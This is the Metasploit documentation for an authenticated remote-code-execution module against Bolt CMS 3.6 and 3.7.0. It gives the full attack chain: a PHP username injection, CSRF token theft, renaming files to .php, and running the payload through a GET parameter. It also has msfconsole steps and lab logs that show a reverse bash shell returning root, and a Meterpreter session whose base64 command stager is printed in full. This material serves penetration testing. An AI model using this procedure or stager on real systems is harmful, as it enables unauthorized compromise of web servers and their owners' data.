9.6 KiB
Vulnerable Application
This module exploits multiple vulnerabilities in Bolt CMS version 3.7.0 and 3.6.* in order to execute arbitrary commands as the user running Bolt.
This module first authenticates to Bolt CMS and visits the profile page to obtain a special token.
This token is then used to change the username in /bolt/profile to a PHP system($_GET[""]) variable, using a generated random name.
If this succeeds, the target may be vulnerable.
The module then proceeds by issuing an HTTP GET request for /bolt/overview/showcases in order to obtain a CSRF token to be used later.
Next, the module obtains a list of filename tokens from /async/browse/cache/.sessions.
These tokens are used to create files with the blacklisted .php extension via HTTP POST requests to /async/folder/rename.
With the CSRF token obtained before, it is possible to create .php files by "renaming" these cache tokens.
While most (if not all) available tokens can be used to created .php files in the /root directory on the server,
the resulting files cannot always be used to execute commands.
The module excludes tokens with a filesize of under 2000 bytes, as they can't ever be used for this purpose. For the remaining tokens,
it seems the easiest way to identify a valid one is to use each token to create a .php file
and then check the contents of that file.
The module does exactly this, deleting any .php files that can't be used
until it finds a file for which the "displayname" value is an empty string ("").
This value indicates that the profile username matching this token is the $_GET variable generated earlier,
and that the file can be used to execute arbitrary commands.
If a valid .php file is created, the module executes the payload via an HTTP get request in this format:
/files/<rogue_PHP_file>?<$_GET_variable>=<payload>
The module requires valid credentials for a Bolt CMS user. This module has been successfully tested on Bolt CMS 3.7.0.
Verification Steps
- Install the module as usual
- Start msfconsole
- Do:
use exploit/unix/webapp/bolt_authenticated_rce - Do:
set RHOSTS [IP] - Do:
set USERNAME [username for the Bolt CMS account] - Do:
set PASSWORD [password for the Bolt CMS account] - Do:
set payload [payload] - Do:
set LHOST [IP] - Do:
exploit
Options
FILE_TRAVERSAL_PATH
This is the traversal path to get from the /files/ directory on the web server to the /root directory on the server.
It is used by the module to write rogue .php files to /root. The default value is ../../../public/files.
PASSWORD
The password for the Bolt CMS account to authenticate with. This option is required.
TARGETURI
The base path to Bolt CMS. The default value is /.
USERNAME
The username for the Bolt CMS account to authenticate with. This option is required.
Scenarios
Bolt CMS 3.7.0 running on CentOS 7
msf5 exploit(unix/webapp/bolt_authenticated_rce) > show options
Module options (exploit/unix/webapp/bolt_authenticated_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
FILE_TRAVERSAL_PATH ../../../public/files yes Path from the "files" directory to the root folder
PASSWORD boltbolt yes Password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.1.4 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8000 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Base path to Bolt CMS
URIPATH no The URI to use for this exploit (default is random)
USERNAME bolt yes Username to authenticate with
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_bash):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.1.10 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
2 Linux (cmd)
msf5 exploit(unix/webapp/bolt_authenticated_rce) > run
[*] Started reverse TCP handler on 192.168.1.10:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable. Successfully changed the /bolt/profile username to PHP $_GET variable "nbxnh".
[*] Found 6 potential token(s) for creating .php files.
[+] Used token a0293d73f435515024c2c5d37a to create phfsbswowfp.php.
[*] Attempting to execute the payload via "/files/phfsbswowfp.php?nbxnh=`payload`"
[+] Payload executed!
[+] Deleted file phfsbswowfp.php.
[+] Reverted user profile back to original state.
[*] Command shell session 1 opened (192.168.1.10:4444 -> 192.168.1.4:52008) at 2020-05-26 09:15:19 -0400
id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
Bolt CMS 3.7.0 running on Ubuntu 18.04
msf5 exploit(unix/webapp/bolt_authenticated_rce) > options
Module options (exploit/unix/webapp/bolt_authenticated_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
FILE_TRAVERSAL_PATH ../../../public/files yes Traversal path from "/files" on the web server to "/root" on the server
PASSWORD boltbolt yes Password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 172.28.128.5 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8000 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Base path to Bolt CMS
URIPATH no The URI to use for this exploit (default is random)
USERNAME bolt yes Username to authenticate with
VHOST no HTTP server virtual host
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 172.28.128.1 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 Linux (x64)
msf5 exploit(unix/webapp/bolt_authenticated_rce) > run
[*] Started reverse TCP handler on 172.28.128.1:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable. Successfully changed the /bolt/profile username to PHP $_GET variable "qjej".
[*] Found CSRF token: pAuS_pLAjcUd8wPjq7Xus72UE2N0P4YB8HularDy3A0
[*] Found 1 potential token(s) for creating .php files.
[+] Used token a5881f86a828d3810fa0fa64fb to create cojwcnuk.php.
[*] Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAASDH/aglYmbYQSInWTTHJaiJBWrIHDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXKwcgAFRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g==>>'/tmp/QtQwu.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/nSljj' < '/tmp/QtQwu.b64' ; chmod +x '/tmp/nSljj' ; '/tmp/nSljj' ; rm -f '/tmp/nSljj' ; rm -f '/tmp/QtQwu.b64'"]
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3012516 bytes) to 172.28.128.5
[*] Meterpreter session 1 opened (172.28.128.1:4444 -> 172.28.128.5:41918) at 2020-06-28 22:39:20 -0500
[!] No response, may have executed a blocking payload!
[*] Command Stager progress - 100.00% done (823/823 bytes)
[+] Deleted file cojwcnuk.php.
[+] Reverted user profile back to original state.
meterpreter > getuid
Server username: no-user @ ubuntu-bionic (uid=1000, gid=1000, euid=1000, egid=1000)
meterpreter > sysinfo
Computer : 10.0.2.15
OS : Ubuntu 18.04 (Linux 4.15.0-91-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >